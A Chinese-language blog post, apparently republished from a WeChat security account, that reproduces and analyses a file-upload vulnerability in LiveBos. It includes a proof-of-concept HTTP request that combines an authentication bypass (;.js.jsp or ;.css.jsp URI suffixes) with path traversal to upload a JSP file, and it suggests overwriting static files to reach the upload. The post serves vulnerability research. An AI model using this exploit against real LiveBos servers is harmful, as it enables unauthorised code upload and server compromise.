前言
最近看到了LiveBos的文件上传,发现他的绕过是;.js.jsp看样子像是利用某种解析差异的特性来绕过。但看完代码后发现是有点搞笑的,于是做个记录。
漏洞复现
利用poc如下:
POST
/feed/UploadFile.do;.js.jsp
HTTP/1.1
Host
:
User-Agent
: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept
: */*
Content-Type
: multipart/form-data; boundary=---------------------------45250802924973458471174811279
Accept-Language
: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding
: gzip, deflate
Content-Length
: 10338
-----------------------------
45250802924973458471174811279
Content-Disposition: form-
data
; name=
"file"
; filename=
"//../../../../1.jsp"
Content-Type: image/png
123
-----------------------------
45250802924973458471174811279
上传后访问/1.jsp;.js.jsp
绕过分析
这里对于文件上传漏洞具体的逻辑就不进行分析了,代码种同样还存在其他上传的接口。这里主要看下/feed/UploadFile.do;.js.jsp这个权限绕过是咋回事,因为直接访问/feed/UploadFile.do是会提示 "未登录或会话已过期"的。
;.js.jsp这个权限绕过的方式就很眼熟,最开始还以为又是利用解析的差异性来进行绕过的,但是测试发现/feed/UploadFile.do;.js,/feed/UploadFile.do;.js.png这种均无法进行绕过。
查看源代码,寻找原因,在web.xml中看到2个关于.do文件的filter,LogonFilter和Compression Filter。
Compression Filter中没有啥关于传入的url解析判断的逻辑。
LogonFilter中先从会话中获取登录用户的信息,并进行校验,因为我们没有进行登录,所以不会进入这个if分支。
在下一个if分支中,判断isIgnoreUri方法返回的值为true,为true则直接传递给下一个过滤器,否则抛出异常。
在isIgnoreUri方法中,逻辑就很简单,在传入的uri等于/css/stylesheet.jsp,或者传入的uri以.js.jsp和.css.jsp结尾的时候,就会返回true。
这里就大概明白/feed/UploadFile.do;.js.jsp为什么能进行权限绕过了。。
通过上述代码分析,不难发现,/feed/UploadFile.do;.css.jsp也是能进行权限绕过的。
另外,上传后的jsp文件也是不能直接访问的,也要通过;.js.jsp或者;.css.jsp的形式来进行权限绕过,但其实可以覆盖原本的/css/stylesheet.jsp文件或者其他的.css.jsp和.js.jsp文件,/css/stylesheet.jsp文件及.css.jsp和.js.jsp文件本身的内容就是静态的内容,覆盖了影响也不大,这样就不用权限绕过也能访问到上传的jsp文件了。
原文始发于微信公众号(良月安全):[漏洞分析]LiveBos文件上传漏洞复现及绕过分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论